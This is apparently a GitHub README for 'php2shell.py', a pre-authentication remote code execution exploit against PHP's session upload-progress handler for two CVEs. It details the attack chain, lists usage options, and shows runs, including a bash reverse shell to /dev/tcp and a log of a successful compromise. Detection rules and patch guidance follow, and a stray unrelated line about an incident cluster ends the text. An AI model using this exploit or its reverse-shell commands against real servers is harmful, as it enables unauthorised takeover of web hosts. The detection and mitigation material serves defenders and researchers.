[
- [Command-line options](#-command-line-options)
`php2shell.py` takes **one URL** and gives you **remote code execution** on
the target — a reverse shell, or the output of any command you like. It
speaks plain HTTP(S) only, needs **no account**, **no target-side helper
file**, and **no third-party Python dependency**.
| **CVE-2026-109618** | RCE via OOM corruption |
| **CVE-2026-109619** | RCE via stale global state |
| **Affected** | PHP 5.4 → 8.5.x (8.1 and older are EOL and never patched) |
| **Fixed in** | PHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 |
| **Requirements** | Python 3.8+, standard library only |
git clone
python3 php2shell.py -l 10.0.0.5 -p 4444
python3 php2shell.py -c 'id'
The PoC prints exactly what it did, and says clearly when a target cannot
be exploited (no PHP endpoint, no session fixation, or no inclusion sink).
> **CVE-2026-109618** — RCE via OOM corruption. An out-of-memory
> condition can interrupt PHP while internal request data is only partially
> initialised. Request cleanup may then treat the invalid data as valid.
> **CVE-2026-109619** — RCE via stale global state. Request-owned internal
> state can survive after its backing memory has been freed. A later request
> handled by the same worker may use that stale state before normal
The reachable surface is the **session upload-progress handler** in
`ext/session/session.c`, which has three independent problems:
1. **Session fixation (pre-auth).** `MULTIPART_EVENT_FORMDATA` copies the
POST-body field whose name is PHP's `session.name` into the progress
session id, **ignoring `session.use_only_cookies`**. The attacker
therefore picks the session id — and hence the on-disk session file name.
2. **Unvalidated file name.** `MULTIPART_EVENT_FILE_START` stores the
*raw* uploaded file name into the session data, with no sanitisation.
3. **Attacker-controlled session content.** The POST-body field named
`PHP_SESSION_UPLOAD_PROGRESS` becomes the session key
Because the progress data is serialised into the attacker's *own* session
file, and PHP's session serialiser is not a sandbox, the attacker fully
controls the **content** of a file whose name is **fully predictable**:
Content-Type: multipart/form-data; boundary=X
Content-Disposition: form-data; name="PHPSESSID"
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
Content-Disposition: form-data; name="f"; filename="a.txt"
The session id is now known, so the session file path is known too.
### Step 2 — writing attacker content into the session file
The `PHP_SESSION_UPLOAD_PROGRESS` value becomes the session key
`upload_progress_`, and the session serialiser writes it verbatim.
upload_progress_|a:5:{s:10:"start_time";i:...}
The payload is base64 encoded, so it can carry **any** command without
tripping the session serialiser's `|` and newline restrictions.
If the application includes the session file (an `include()`/`require()`
sink), the embedded `` block runs and the command's output
The PoC auto-detects this by poisoning a session with a harmless marker
and looking for the marker in the response, trying the common parameter
names (`page`, `file`, `path`, `doc`, `include`, `view`, `lang`, …) against
the common save paths (`/tmp`, `/var/lib/php/sessions`, …).
### Strategy 1 — session file poisoning + inclusion sink
The most general approach: works against any target with an
`include()`/`require()` sink that can be pointed at a session file, and
needs **no knowledge of the target's PHP build**.
- `session.upload_progress.enabled = On` (PHP default)
- `session.upload_progress.cleanup = Off` — so the poisoned entry is not
deleted at the end of the upload (**PHP's default is `On`**, so this has
- an `include()`/`require()` sink reachable with a user-controlled path
### Strategy 2 — serialiser handler mismatch → object injection
If two directories use different `session.serialize_handler` values, a
session written as `php_serialize` and read back with the `php` handler is
re-parsed as a `key|value` stream. A file name containing `|` shifts the
parse so that attacker bytes get deserialised as a serialized object, whose
`__destruct` runs during cleanup — **even though the decode returns
FAILURE**, because `__destruct` fires on both the success and the failure
- two reachable directories with different `session.serialize_handler`
- a class with a useful `__destruct` that is autoloadable on the target
-l, --lhost reverse shell listener address
-p, --lport reverse shell listener port (default 4444)
-c, --cmd command to execute instead of a reverse shell
--sid session id to use (default: random)
--session-name PHP session name (default: auto-detected, usually
--fix-by how the chosen session id is sent: "body" (the CVE
route, default) or "cookie" (the early_find_sid route)
--save-path server-side session save path
--sink inclusion sink URL, e.g. '/index.php?page='
--write-path php_serialize directory (strategy 2)
--read-path php directory (strategy 2)
--gadget serialized object injected by strategy 2
--all try every strategy (default behaviour)
--no-banner do not print the watermelon banner
--timeout per-request timeout in seconds (default 30)
### Reverse shell, everything auto-detected
$ python3 php2shell.py -l 127.0.0.1 -p 4444 -v
php2shell - CVE-2026-109618 / CVE-2026-109619 (pre-auth RCE)
[*] target :
[*] session : u9bavj3i070qhddg8vfptmhluj
[*] command : bash -c 'exec bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' /dev/null 2>&1 &
[*] probe /sink.php -> HTTP 200 PHP/8.4.24 Apache/2.4.68 (Debian) PHP/8.4.24 [PHP]
[*] checking pre-auth session fixation ...
[+] session fixation accepted by the target
[*] no --sink given, probing for an include() sink ...
[+] found sink: /sink.php?page= (session file /tmp/sess_u9bavj3i070qhddg8vfptmhluj)
[*] poisoned session (attempt 1, session name PHPSESSID, id via POST body) HTTP 200
[*] trigger via /sink.php?page=/tmp/sess_u9bavj3i070qhddg8vfptmhluj -> HTTP 200 (712 bytes)
bash: impossible de régler le groupe de processus du terminal: Ioctl() inapproprié
python3 php2shell.py -l 10.0.0.5 -p 4444 \
--sink '/index.php?page=' --save-path /var/lib/php/sessions
python3 php2shell.py -c 'id'
### Serialiser handler mismatch (no LFI needed)
python3 php2shell.py \
--write-path /app/upload.php --read-path /api/endpoint.php -c 'id'
The PoC refuses to fire and says so, instead of failing silently:
[*] probe /index.php -> HTTP 500 nginx
[*] probe / -> HTTP 200 nginx
Every candidate path either errored out (HTTP 5xx) or was
served by the web server without ever reaching a PHP
interpreter (no X-Powered-By, no PHP fingerprint).
- an unpatched PHP: **' --save-path /var/lib/php/sessions
**`the target did not echo the session id we sent`**
A warning, not an error: plenty of applications never resend their session
cookie, and the chain still works if the session *file* is created under
the id we chose. If the exploit does not fire, the session name is
probably not the one that was detected — pass it explicitly with
`--session-name`. The name is auto-detected from the cookies the target
sets, but a lot of applications rename the session, and some regenerate
the id (`session_regenerate_id`) or roll their own session layer — in the
latter two cases this chain cannot work on that target at all.
**The session id is ignored in the POST body but accepted in a cookie**
Some applications regenerate the id they are given in the body while
still honouring the one in the cookie. The upload-progress handler reaches
the session id by two routes, and the cookie one is the second:
python3 php2shell.py -l 10.0.0.5 -p 4444 --fix-by cookie
**The payload is delivered but nothing happens**
`system()`, `exec()`, `passthru()`, `shell_exec()` and `proc_open()` are
frequently disabled with `disable_functions`. Check the target's
configuration; if the shell functions are gone, use another execution
**Every multipart POST returns 403 / 406 / 429**
A WAF, an `.htaccess` rule or a rate limiter in front of the application.
A 406 in particular usually means a WAF is inspecting the request body.
Note that the upload-progress handler needs a **file part** to write the
payload, so a WAF that blocks file uploads blocks the whole chain.
Alert when a PHP worker process spawns a child it should never spawn:
- workers: `php-fpm`, `php-cgi`, `lsphp`, `httpd`, `apache2`
- children: `/bin/sh`, `/bin/bash`, `cmd.exe`, `powershell.exe`, `python`,
`perl`, `curl`, `wget`, `nc`, `certutil.exe`
- command lines containing `/dev/tcp/`, `fsockopen`, `mkfifo`
- immediate reconnaissance: `whoami`, `id`, `uname -a`, `ipconfig`
- grep the web access logs for `PHP_SESSION_UPLOAD_PROGRESS`
- look for session files containing `upload_progress_` followed by `<?php`
- watch for new files in the web root, `/tmp`, `/var/tmp`, new cron jobs
Update PHP to **8.5.12 / 8.4.27 / 8.3.36 / 8.2.35**, or to your vendor's
backport. Until then, per the official advisory:
; CVE-2026-109619 - blocks the confirmed session paths.
; Set it before request parsing (php.ini, FPM pool or server config)
; and RESTART every worker. ini_set() and .user.ini are not enough.
; CVE-2026-109618 - removes the controllable memory-limit failure.
; Use php_admin_value in the FPM pool or the Apache configuration so
; Keep the request small; lower it if the app does not need uploads.
post_max_size = 8M ; 32M if file uploads are required
session.serialize_handler = php_serialize ; consistently, everywhere
disable_functions = exec,passthru,shell_exec,system,proc_open,popen
- The PHP security team, for the advisory and the patches
- [watchTowr — PHP CVE-2026-109618 FAQ](
- [sansec — PHP2Shell research](
- [Hadrian — php2shell exploited in the wild](
- [CERT-EU advisory 2026-018](
- [PHP session upload-progress internals](
- [PHP multipart parser](
- The researchers who published their chains in the open, including
`eness`, `9bie`, `ikow`, `iQingshan`, `dinosn` and `19h`
This project is listed under the GitHub topics
`cve-2026-109618`, `cve-2026-109619`, `php2shell`, `reverse-shell`,
`rce`, `exploit`, `poc`, `pre-auth`, `use-after-free`, `heap-uaf`,
Report a problem, request a feature, or ask a question on the
[issue tracker]( or in
[discussions](
For **authorised security testing and education only**. Use only against
systems you own or have explicit written permission to test. The authors
accept no liability for any misuse of this tool.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
